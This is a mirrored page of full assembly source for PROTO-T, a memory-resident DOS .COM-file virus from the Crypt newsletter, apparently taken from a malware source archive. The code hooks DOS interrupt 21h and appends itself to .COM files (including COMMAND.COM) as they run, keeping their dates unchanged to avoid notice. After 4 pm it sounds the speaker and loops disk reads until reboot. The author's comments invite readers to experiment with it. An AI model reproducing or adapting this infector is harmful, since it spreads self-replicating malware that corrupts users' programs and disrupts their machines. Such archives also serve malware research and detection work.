mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
421 lines
14 KiB
NASM
421 lines
14 KiB
NASM
|
;PROTO-T virus: a simple, memory resident .COM infector for
|
||
|
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
|
||
|
;
|
||
|
;On call, PROTO-T will manipulate the interrupt table directly, hooking
|
||
|
;int 21h and decreasing the amount of memory by a little over 1k.
|
||
|
;It will infect COMMAND.COM
|
||
|
;if a shell is installed while the virus is in RAM. At start,
|
||
|
;PROTO-T polls the system time. If it is after 4:00 in the
|
||
|
;afternoon, the speaker will issue a hideous ringing noise and the
|
||
|
;hard file will be read very quickly, faking a massive Michelangelo-style
|
||
|
;trashing. The disk will continue to read until the user restores
|
||
|
;control by booting. (I took this slick routine from the first issue
|
||
|
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
|
||
|
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
|
||
|
;to those surprised by it. Heh.
|
||
|
;
|
||
|
;Files infected with PROTO-T will generally function normally until
|
||
|
;4 in the afternoon, when the virus locks them up until the next
|
||
|
;day by way of the nuisance routines described above. Infected files have
|
||
|
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||
|
;appended to them at the end where the body of the virus is located.
|
||
|
;
|
||
|
;PROTO-T is not currently scanned. However, its modifications are easily
|
||
|
;flagged by a good file integrity checker. For example, Dr. Solomon's
|
||
|
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
|
||
|
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
|
||
|
;the novice user is left on his own by the Toolkit to determine the cause
|
||
|
;of the changes - a drawback which diminishes the software's value
|
||
|
;considerably, IMHO.
|
||
|
;
|
||
|
;I encourage you to play with PROTO-T by Dumbco. It is a
|
||
|
;well-behaved resident virus, useful in demonstrating the behavior
|
||
|
;of simple resident infectors and how they can "pop-up" suddenly and
|
||
|
;ruin your day. Of course, files infected by PROTO-T are, for all
|
||
|
;intents and purposes, useless for future computing unless you like
|
||
|
;the idea of a resident virus keeping you company and freezing up
|
||
|
;your work late in the afternoon.
|
||
|
;
|
||
|
;Known incompatibilities: PROTO-T will behave weirdly on machines
|
||
|
;using SYMANTEC's NDOS as a command processor. And some caches will
|
||
|
;cause PROTO-T to hang the machine immediately. For best results,
|
||
|
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
|
||
|
;management seems to work fine. (Ain't this somethin': software
|
||
|
;advisories with a virus!)
|
||
|
;
|
||
|
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
|
||
|
;& our European friends Dark Helmet and Peter Venkmann with their very
|
||
|
;complete code archives (in particular, the CIVIL_II template). The
|
||
|
;'scarey ' subroutine was excerpted from "Computer Virus Developments
|
||
|
;Quarterly", Vol. 1., No.1.
|
||
|
|
||
|
|
||
|
.radix 16
|
||
|
code segment
|
||
|
model small
|
||
|
assume cs:code, ds:code, es:code
|
||
|
|
||
|
org 100h
|
||
|
|
||
|
length equ offset last - begin
|
||
|
virus_length equ length / 16d
|
||
|
|
||
|
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
|
||
|
;marker in host
|
||
|
|
||
|
begin:
|
||
|
|
||
|
call virus ;make call to
|
||
|
;push instruction pointer on stack
|
||
|
|
||
|
virus:
|
||
|
|
||
|
|
||
|
mov ah,02Ch ;DOS get time function
|
||
|
int 021h
|
||
|
mov al,ch ;Copy hour into AL
|
||
|
cbw ;Sign-extend AL into AX
|
||
|
cmp ax,0010h ;Did the function return 16 (4 pm)?
|
||
|
jge malfunkshun ;If after 4 pm, do Proto-T thang!
|
||
|
jmp getonwithit
|
||
|
|
||
|
malfunkshun: ;sound and fury start
|
||
|
cli ;turn off interrupts
|
||
|
mov dx,2
|
||
|
agin1: mov bp,40 ;do 40 cycles of sound
|
||
|
mov si,1000 ;1st frequency
|
||
|
mov di,2000 ;2nd frequency
|
||
|
mov al,10110110b ;address of channel 2 mode 3
|
||
|
out 43h,al ;send to port
|
||
|
agin2: mov bx,si ;place sound number in bx
|
||
|
backerx: mov ax,bx ;now put in ax
|
||
|
out 42h,al
|
||
|
mov al,ah
|
||
|
out 42h,al
|
||
|
in al,61h ;get port value
|
||
|
or al,00000011b ;turn speaker on
|
||
|
out 61h,al
|
||
|
mov cx,2EE0h ;delay
|
||
|
looperx: loop looperx ;do nothing loop so sound is audible
|
||
|
xchg di,si
|
||
|
in al,61h ;get port value
|
||
|
and al,11111100b ;AND - turn speaker off
|
||
|
out 61h,al ;send it
|
||
|
dec bp ;decrement repeat count
|
||
|
jnz agin2 ;if not = 0 do again
|
||
|
mov ax,10 ;10 repeats of 60000 loops
|
||
|
back: mov cx,0EA60h ;loop count (in hex for TASM)
|
||
|
loopery: loop loopery ;delay loops - no sound between bursts
|
||
|
dec ax
|
||
|
jnz back ;if not = 0 loop again
|
||
|
dec dx
|
||
|
jnz agin1 ;if not = 0 do whole thing again
|
||
|
sti ;restore interrupts
|
||
|
|
||
|
|
||
|
|
||
|
mov si,0 ;scarey part: drive reads real
|
||
|
scarey: lodsb ;fast ala Michelangelo-style
|
||
|
mov ah,al ;over-write, but this routine only
|
||
|
lodsb ;gets random bytes here for a
|
||
|
and al,3 ;cylinder to READ
|
||
|
mov dl,80h
|
||
|
mov dh,al
|
||
|
mov ch,ah
|
||
|
mov cl,1
|
||
|
mov bx,offset last ;buffer to read into
|
||
|
mov ax,201h
|
||
|
int 13h
|
||
|
jmp short scarey ;yow! scarey! just think if this
|
||
|
;was made by someone not as nice as
|
||
|
;me
|
||
|
|
||
|
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||
|
|
||
|
getonwithit: pop bp ; get IP from stack.
|
||
|
sub bp,109h ; adjust IP.
|
||
|
|
||
|
restore_host: mov di,0100h ; recover beginning
|
||
|
lea si,ds:[carrier_begin+bp] ; of carrier program.
|
||
|
mov cx,06h
|
||
|
rep movsb
|
||
|
|
||
|
|
||
|
check_resident: mov ah,0A0h ;check if virus
|
||
|
int 21h ;already installed.
|
||
|
cmp ax,0001h
|
||
|
je end_virus
|
||
|
|
||
|
adjust_memory: mov ax,cs ;get Memory
|
||
|
dec ax ;Control Block
|
||
|
mov ds,ax
|
||
|
cmp byte ptr ds:[0000],5a ;check if last
|
||
|
;block -
|
||
|
jne abort ;if not last block,
|
||
|
;end
|
||
|
mov ax,ds:[0003] ;decrease memory
|
||
|
sub ax,50 ;by 1kb
|
||
|
mov ds:0003,ax
|
||
|
|
||
|
install_virus: mov bx,ax ;PSP
|
||
|
mov ax,es ;virus start
|
||
|
add ax,bx ;in memory
|
||
|
mov es,ax
|
||
|
mov cx,length ;cx = length virus
|
||
|
mov ax,ds ;restore ds
|
||
|
inc ax
|
||
|
mov ds,ax
|
||
|
lea si,ds:[begin+bp] ;point to start virus
|
||
|
lea di,es:0100 ;point to destination
|
||
|
rep movsb ;copy virus in
|
||
|
;memory
|
||
|
mov [virus_segment+bp],es ;store start of virus
|
||
|
;in memory
|
||
|
mov ax,cs ;restore extra segment
|
||
|
mov es,ax
|
||
|
|
||
|
hook_vector: cli ;disable interrupts
|
||
|
;because we're manipulating
|
||
|
mov ax,3521h ;the interrupt table and a
|
||
|
;crash would look bad
|
||
|
int 21h ;function 3521h - retrieve
|
||
|
mov ds,[virus_segment+bp] ;address of current handler
|
||
|
mov ds:[old_21h-6h],bx
|
||
|
mov ds:[old_21h+2-6h],es
|
||
|
mov dx,offset main_virus - 6h
|
||
|
mov ax,2521h ;copy new address (virus) to
|
||
|
int 21h ;interrupt table
|
||
|
sti ;interrupts on
|
||
|
|
||
|
abort: mov ax,cs ;restore everything
|
||
|
mov ds,ax
|
||
|
mov es,ax
|
||
|
xor ax,ax
|
||
|
|
||
|
end_virus:
|
||
|
|
||
|
|
||
|
mov bx,0100h ;jump to beginning
|
||
|
jmp bx ;of host file
|
||
|
|
||
|
|
||
|
;***************************************************************************
|
||
|
|
||
|
main_virus: pushf
|
||
|
cmp ah,0A0h ;check for virus
|
||
|
jne new_21h ;no virus call
|
||
|
mov ax,0001h ;ax = id
|
||
|
popf ;return id
|
||
|
iret
|
||
|
|
||
|
new_21h: push ds ;save registers
|
||
|
push es
|
||
|
push di
|
||
|
push si
|
||
|
push ax
|
||
|
push bx
|
||
|
push cx
|
||
|
push dx
|
||
|
|
||
|
cmp ah,40h
|
||
|
jne check_05
|
||
|
cmp bx,0004h
|
||
|
jne check_05
|
||
|
|
||
|
check_05: cmp ah,05h
|
||
|
jne check_exec
|
||
|
|
||
|
check_exec: cmp ax,04B00h ;intercept execute function
|
||
|
jne continue
|
||
|
mov cs:[name_seg-6],ds
|
||
|
mov cs:[name_off-6],dx
|
||
|
jmp chk_com ;goto check target
|
||
|
|
||
|
continue: pop dx ;restore registers
|
||
|
pop cx
|
||
|
pop bx
|
||
|
pop ax
|
||
|
pop si
|
||
|
pop di
|
||
|
pop es
|
||
|
pop ds
|
||
|
popf
|
||
|
jmp dword ptr cs:[old_21h-6]
|
||
|
|
||
|
chk_com: cld ;check extension of loaded file
|
||
|
mov di,dx ;for COM
|
||
|
push ds
|
||
|
pop es
|
||
|
mov al,'.' ;search extension
|
||
|
repne scasb ;for 'COM', so
|
||
|
cmp word ptr es:[di],'OC' ;check 'CO'
|
||
|
jne continue ;and
|
||
|
cmp word ptr es:[di+2],'M' ;check 'M'
|
||
|
jne continue
|
||
|
|
||
|
call set_int24h
|
||
|
call set_attribute
|
||
|
|
||
|
open_file: mov ds,cs:[name_seg-6] ;name of target file
|
||
|
mov dx,cs:[name_off-6]
|
||
|
mov ax,3D02h ;open file
|
||
|
call do_int21h ;simulate int21 call, see below
|
||
|
jc close_file
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov [handle-6],ax
|
||
|
mov bx,ax
|
||
|
|
||
|
call get_date
|
||
|
|
||
|
check_infect: push cs
|
||
|
pop ds
|
||
|
mov bx,[handle-6] ;read first 6 bytes
|
||
|
mov ah,3fh
|
||
|
mov cx,06h
|
||
|
lea dx,[carrier_begin-6]
|
||
|
call do_int21h
|
||
|
mov al, byte ptr [carrier_begin-6]+3 ; check initials
|
||
|
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
|
||
|
cmp ax,[initials-6]
|
||
|
je save_date ;if equal, already
|
||
|
;infected
|
||
|
|
||
|
get_length: mov ax,4200h ;set file pointer to begin
|
||
|
call move_pointer
|
||
|
mov ax,4202h ;set file pointer to end
|
||
|
call move_pointer
|
||
|
sub ax,03h ;ax = file length
|
||
|
mov [length_file-6],ax
|
||
|
|
||
|
call write_jmp
|
||
|
call write_virus ;summon write virus to file
|
||
|
|
||
|
save_date: push cs ;save date of file
|
||
|
pop ds
|
||
|
mov bx,[handle-6]
|
||
|
mov dx,[date-6]
|
||
|
mov cx,[time-6]
|
||
|
mov ax,5701h
|
||
|
call do_int21h
|
||
|
|
||
|
close_file: mov bx,[handle-6]
|
||
|
mov ah,03eh ;close file
|
||
|
call do_int21h
|
||
|
|
||
|
mov dx,cs:[old_24h-6] ;restore int24h
|
||
|
mov ds,cs:[old_24h+2-6]
|
||
|
mov ax,2524h
|
||
|
call do_int21h
|
||
|
|
||
|
jmp continue
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
new_24h: mov al,3 ;critical error handler
|
||
|
iret
|
||
|
|
||
|
|
||
|
;---------------------------------------------------------------------------
|
||
|
; PROCEDURES
|
||
|
;---------------------------------------------------------------------------
|
||
|
|
||
|
|
||
|
|
||
|
move_pointer: push cs
|
||
|
pop ds
|
||
|
mov bx,[handle-6]
|
||
|
xor cx,cx
|
||
|
xor dx,dx
|
||
|
call do_int21h
|
||
|
ret
|
||
|
;since virus owns int21, a
|
||
|
do_int21h: pushf ;direct call would be counter
|
||
|
call dword ptr cs:[old_21h-6];productive, so do a pushf
|
||
|
ret ;and call combination - Dark
|
||
|
;Angel's virus guide is great
|
||
|
write_jmp: push cs ;at expalining this
|
||
|
pop ds
|
||
|
mov ax,4200h ;set pointer to beginning of file
|
||
|
call move_pointer
|
||
|
mov ah,40h
|
||
|
mov cx,01h
|
||
|
lea dx,[jump-6]
|
||
|
call do_int21h
|
||
|
mov ah,40h
|
||
|
mov cx,02h
|
||
|
lea dx,[length_file-6]
|
||
|
call do_int21h
|
||
|
mov ah,40h
|
||
|
mov cx,02h
|
||
|
lea dx,[initials-6]
|
||
|
call do_int21h
|
||
|
ret
|
||
|
|
||
|
write_virus: push cs
|
||
|
pop ds
|
||
|
mov ax,4202h ;write to file function
|
||
|
call move_pointer
|
||
|
mov ah,40
|
||
|
mov cx,length ;virus length
|
||
|
mov dx,100
|
||
|
call do_int21h ;do it
|
||
|
ret
|
||
|
|
||
|
get_date: mov ax,5700h ;retrieve date function
|
||
|
call do_int21h ;do it
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov [date-6],dx ;restore date & time
|
||
|
mov [time-6],cx
|
||
|
ret
|
||
|
;set up critical error handler
|
||
|
set_int24h: mov ax,3524h ;request address of current handler
|
||
|
call do_int21h ;simulate int21 call
|
||
|
mov cs:[old_24h-6],bx
|
||
|
mov cs:[old_24h+2-6],es
|
||
|
mov dx,offset new_24h-6
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov ax,2524h ;set vector to virus handler
|
||
|
call do_int21h ;do it
|
||
|
ret
|
||
|
|
||
|
set_attribute: mov ax,4300h ;get attribute
|
||
|
mov ds,cs:[name_seg-6]
|
||
|
mov dx,cs:[name_off-6]
|
||
|
call do_int21h
|
||
|
and cl,0feh ;set attribute
|
||
|
mov ax,4301h
|
||
|
call do_int21h
|
||
|
ret
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
;---------------------------------------------------------------------------
|
||
|
; DATA
|
||
|
;---------------------------------------------------------------------------
|
||
|
|
||
|
|
||
|
old_21h dw 00h,00h
|
||
|
old_17h dw 00h,00h
|
||
|
old_24h dw 00h,00h
|
||
|
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
|
||
|
jump db 0E9h
|
||
|
name_seg dw ?
|
||
|
name_off dw ?
|
||
|
virus_segment dw ?
|
||
|
length_file dw ?
|
||
|
handle dw ?
|
||
|
date dw ?
|
||
|
time dw ?
|
||
|
initials dw 4844h
|
||
|
last db 090h
|
||
|
|
||
|
code ends
|
||
|
end host
|